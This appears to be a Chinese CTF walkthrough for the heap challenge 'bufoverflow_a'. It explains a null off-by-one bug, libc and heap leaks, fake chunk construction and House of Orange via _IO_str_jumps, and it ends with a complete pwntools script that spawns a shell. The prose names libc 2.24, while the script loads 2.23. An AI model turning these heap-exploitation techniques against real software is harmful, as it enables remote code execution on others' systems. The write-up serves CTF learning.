首先,我们检查一下程序的保护机制
然后,我们用IDA分析一下,是一个经典的增删改查的程序,然后我们看到创建堆时,[前两个堆是用malloc创建,后面的堆用calloc创建]{.mark} ,这意味着,如果要泄露libc地址,只能靠前两个堆,后面的堆从bin里取出后会清空里面的信息。
Fill功能存在一个**[null off by one漏洞]{.mark}**
我们每次只能对最后创建的那个堆进行读写操作
并且delete以后,指针将清空,就无法进行读写操作,除非重新创建一个堆。
首先是泄露libc地址,这个很容易,创建一个unsorted bin范围的堆,然后**[后面再创建一个堆用来隔离]{.mark}**,释放后再申请回来显示,即可泄露。
1 2 3 4 5 6 7 8 9 create(0x80 ) create(0x80 ) delete(0 ) delete(1 ) create(0x80 ) show()
接下来,我们要泄露堆地址,我们创建large bin范围的堆释放后申请一个比它还大的堆,使得它被放入large bin,从而堆上保留了堆指针,再申请回来。但是**[堆地址保存在fd_nextsize处,位于chunk_addr + 0x10处,我们如果直接显示,只能显示出fd的内容]{.mark},因为后面有’x00’结束了。并且,我们也不能利用fill来填充到fd_nextsize处,因为 [用fill,内容的最后会添加一个’x00’]{.mark}**
这样,我们仍然不能显示出fd_nextsize的内容。
1 2 3 4 5 6 7 8 create(0x400 ) create(0x80 ) delete(1 ) create(0x500 ) delete(1 )
目前,堆的布局是这样的
在chunk1的数据域+0x10处,有堆指针。我们可以**[先释放chunk2,使得chunk1和2合并到top chunk]{.mark},这样,堆布局变成了这样,但是 [里面的信息仍然没有清空。]{.mark}**
然后,我们继续释放chunk0,此时堆布局就只剩下一个TOP chunk
接下来,[我们申请一个0xA0大小的堆(数据域大小0x90)。因为bin里面没有合适的chunk,就从TOP chunk里划分]{.mark} ,堆布局变成这样
然后,我们继续申请一个堆,大小任意,比如0x90
此时堆布局变成这样
由于chunk0大小为0xA0,比原先大了0x10,那么chunk1就会向后偏移0x10,也就是**[原来chunk1的fd_nextsize位置是现在chunk1的fd位置]{.mark}**,这样,我们显示,就能泄露出堆地址了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 delete(2 ) delete(0 ) create(0x90 ) create(0x80 ) show() sh.recv(1 ) heap_base = u64(sh.recvuntil('\n' ,drop = True ).ljust(8 ,'\x00' )) - 0xB0 print 'heap_base=' ,hex (heap_base) delete(0 ) delete(1 )
我们泄露完信息后,又重新把0和1给释放了,使得他们重新合并到top chunk里。因为我们不需要再用它们了。[并且由于只有前两个堆使用malloc分配,后面的用calloc分配,为了后续利用,我们要腾出位置。]{.mark}
接下来,我们就要伪造堆了。我们最终的目的是要构造出这样的堆布局
这样,我们就能从unsorted bin1里申请合适的堆,控制unsorted bin2,从而利用house of orange来getshell。
那么,我们就先来伪造chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 create(0x208 ) fake_chunk = 'a' *0x20 fake_chunk += p64(0 ) + p64(0x1E1 ) fake_chunk += p64(heap_base + 0x50 )*2 fake_chunk = fake_chunk.ljust(0x200 ,'a' ) fake_chunk += p64(0x1E0 ) fill(fake_chunk) create(0x80 ) create(0xF0 ) fill('b' *0xF0 ) delete(1 ) create(0x88 ) fill('b' *0x80 + p64(0x270 )) delete(2 )
需要注意的是,以前,为了绕过glibc中的检查
1 2 if (__builtin_expect (FD->bk != P || BK->fd != P, 0 )) malloc_printerr ("corrupted double-linked list" );
我们这样操作的
1 2 p->fd = &p-3 *4 p->bk = &p-2 *4
但是,现在我们没有办法满足这个条件,我们直接这样
还有就是,[我们的chunk2,包括头结构的总大小为0x100,不能再多也不能再少。]{.mark}
因为null off by one,可以将下一个chunk的size低一字节覆盖为0,因此,size必须大于1字节。但是如果size大于0x100,这意味着,覆盖以后,这个chunk变小了,我们还需在这个chunk的末尾伪造一个填充chunk。这样会使得待会利用时,由于有填充chunk把它与top chunk隔离,使得它不与top chunk合并。[而我们的目的是要把fake_chunk合并到top chunk里,这样我们就能构造出包含的unsorted bin。]{.mark}
经过这样的操作,我们的堆布局变成这样
着色区域全都在top chunk里面,现在,我们就可以来构造两个包含的unsorted bin。
我们先来构造0和1构成的unsorted bin,为了能够顺利delete掉0和1,我们需要复原1和2的头结构相关信息。
1 2 3 4 5 6 7 8 9 create(0x290 ) fill('a' *0x1D0 + p64(0 ) + p64(0x91 ) + 'a' *0x80 + p64(0 ) + p64(0x101 ) + '\n' ) delete(1 ) delete(0 )
由于top chunk在fake_chunk处,因此,我们申请时,从top chunk里切割就是从fake_chunk处开始切割。这样,我们就得到了最外层的unsorted bin。
然后,我们要开始构造内层的unsorted bin,那么我们需要释放fake_chunk。而fake_chunk此时位于index 2。[接下来,我们申请堆,肯定会从我们辛苦得到的外层unsorted bin里切割,没关系,待会用完重新释放回去。]{.mark}在程序中的堆指针数组中下标2的地方保存着fake_chunk的地址, [我们现在的目的是要成功释放fake_chunk2。但是,fake_chunk前后的chunk头信息已经被打乱,我们不能直接释放。]{.mark}
我们可以从外层unsorted bin里申请一个大点的堆,然后,我们要在这个堆里重新伪造fake_chunk,已经一个填充chunk,由于绕过检查。[也就是说,我们要在原来的fake_chunk里面末尾腾出一点位置,制造一个填充chunk,就可以绕过检查了。]{.mark}
1 2 3 4 5 6 7 8 9 create(0x290 ) fill('a' *0x20 + p64(0 ) + p64(0x91 ) + 'a' *0x80 + p64(0 ) + p64(0x151 ) + '\n' ) delete(0 ) delete(2 ) create(0x290 )
这样,我们就控制了内层的unsorted bin。那么我们就可以利用**[house of orange]{.mark}**了。
本题,提供的libc版本是2.24,因此增加了对vtable的检查。
1 2 3 4 5 6 7 8 9 10 11 12 13 IO_validate_vtable (const struct _IO_jump_t *vtable) { uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable; }
也就是vtable指针必须在__stop___IO_vtables 和 __start___libc_IO_vtables范围之内。因此,我们可以利用__IO_str_jumps来绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
我们可以利用_IO_str_finish函数里的这个
1 2 3 4 5 6 7 _IO_str_finish (FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL ; _IO_default_finish (fp, 0 ); }
我们把vtable指向__IO_str_jumps,把fp->_free_buffer指向system函数,把fp->_IO_buf_base指向/bin/sh字符串,再伪造其他字段,绕过检查,这样就能触发调用system(“/bin/sh”)了。同理_IO_str_overflow类似。
1 2 3 4 5 6 7 8 9 10 11 12 13 fake_file = p64(0 ) + p64(0x60 ) fake_file += p64(0 ) + p64(_IO_list_all_addr-0x10 ) fake_file += p64(0 ) + p64(1 ) fake_file += p64(0 ) + p64(binsh_addr) fake_file = fake_file.ljust(0xD8 ,'\x00' ) fake_file += p64(_IO_str_jumps_addr - 8 ) fake_file += p64(0 ) + p64(system_addr)
如果没有getshell,是由于栈环境问题,多试几次就行了。
综上,我们的exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 from pwn import * sh = process('./bufoverflow_a' ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so' ) _IO_list_all_s = libc.symbols['_IO_list_all' ] malloc_hook_s = libc.symbols['__malloc_hook' ] system_s = libc.sym['system' ] binsh_s = libc.search('/bin/sh' ).next () def create (size ): sh.sendlineafter('>>' ,'1' ) sh.sendlineafter('Size:' ,str (size)) def delete (index ): sh.sendlineafter('>>' ,'2' ) sh.sendlineafter('Index:' ,str (index)) def fill (content ): sh.sendlineafter('>>' ,'3' ) sh.sendafter('Content:' ,content) def show (): sh.sendlineafter('>>' ,'4' ) def get_IO_str_jumps (): IO_file_jumps_offset = libc.sym['_IO_file_jumps' ] IO_str_underflow_offset = libc.sym['_IO_str_underflow' ] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset return possible_IO_str_jumps_offset create(0x80 ) create(0x80 ) delete(0 ) delete(1 ) create(0x80 ) show() sh.recv(1 ) main_arena_xx = u64(sh.recvuntil('\n' ,drop = True ).ljust(8 ,'\x00' )) malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000 ) + (malloc_hook_s & 0XFFF ) libc_base = malloc_hook_addr - malloc_hook_s _IO_list_all_addr = libc_base + _IO_list_all_s _IO_str_jumps_addr = libc_base + get_IO_str_jumps() system_addr = libc_base + system_s binsh_addr = libc_base + binsh_s print 'libc_base=' ,hex (libc_base) print '_IO_list_all_addr=' ,hex (_IO_list_all_addr) print 'system_addr=' ,hex (system_addr) create(0x400 ) create(0x80 ) delete(1 ) create(0x500 ) delete(1 ) delete(2 ) delete(0 ) create(0x90 ) create(0x80 ) show() sh.recv(1 ) heap_base = u64(sh.recvuntil('\n' ,drop = True ).ljust(8 ,'\x00' )) - 0xB0 print 'heap_base=' ,hex (heap_base) delete(0 ) delete(1 ) create(0x208 ) fake_chunk = 'a' *0x20 fake_chunk += p64(0 ) + p64(0x1E1 ) fake_chunk += p64(heap_base + 0x50 )*2 fake_chunk = fake_chunk.ljust(0x200 ,'a' ) fake_chunk += p64(0x1E0 ) fill(fake_chunk) create(0x80 ) create(0xF0 ) fill('b' *0xF0 ) delete(1 ) create(0x88 ) fill('b' *0x80 + p64(0x270 )) delete(2 ) create(0x290 ) fill('a' *0x1D0 + p64(0 ) + p64(0x91 ) + 'a' *0x80 + p64(0 ) + p64(0x101 ) + '\n' ) delete(1 ) delete(0 ) create(0x290 ) fill('a' *0x20 + p64(0 ) + p64(0x91 ) + 'a' *0x80 + p64(0 ) + p64(0x151 ) + '\n' ) delete(0 ) delete(2 ) create(0x290 ) payload = 'a' *0x20 fake_file = p64(0 ) + p64(0x60 ) fake_file += p64(0 ) + p64(_IO_list_all_addr-0x10 ) fake_file += p64(0 ) + p64(1 ) fake_file += p64(0 ) + p64(binsh_addr) fake_file = fake_file.ljust(0xD8 ,'\x00' ) fake_file += p64(_IO_str_jumps_addr - 8 ) fake_file += p64(0 ) + p64(system_addr) payload += fake_file payload += '\n' fill(payload) create(0x80 ) sh.interactive()